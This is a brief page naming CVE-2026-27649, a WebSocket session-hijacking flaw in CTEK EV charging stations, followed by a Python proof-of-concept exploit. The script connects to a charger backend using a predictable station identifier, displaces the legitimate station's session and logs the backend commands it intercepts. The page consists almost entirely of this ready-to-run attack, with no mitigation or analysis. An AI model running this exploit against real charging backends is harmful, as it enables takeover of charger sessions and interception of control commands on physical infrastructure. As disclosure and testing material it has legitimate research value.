CVE-2026-27649 CTEK充电站WebSocket会话劫持漏洞

import asyncio import websockets # Target WebSocket endpoint TARGET_URI = "ws://vulnerable-charger-backend.example.com/ws" # Predicted/Leaked Charging Station Identifier STATION_ID = "CTEK-CHARGER-001" async def hijack_session(): # Construct the URI including the predictable session identifier # Depending on implementation, the ID might be in the path or query param uri = f"{TARGET_URI}?station_id={STATION_ID}" print(f"[*] Attempting to hijack session for Station ID: {STATION_ID}") try: async with websockets.connect(uri) as websocket: print("[+] Connection established. Legitimate session displaced.") # Listen for backend commands intended for the station while True: message = await websocket.recv() print(f"[Intercepted Command]: {message}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(hijack_session())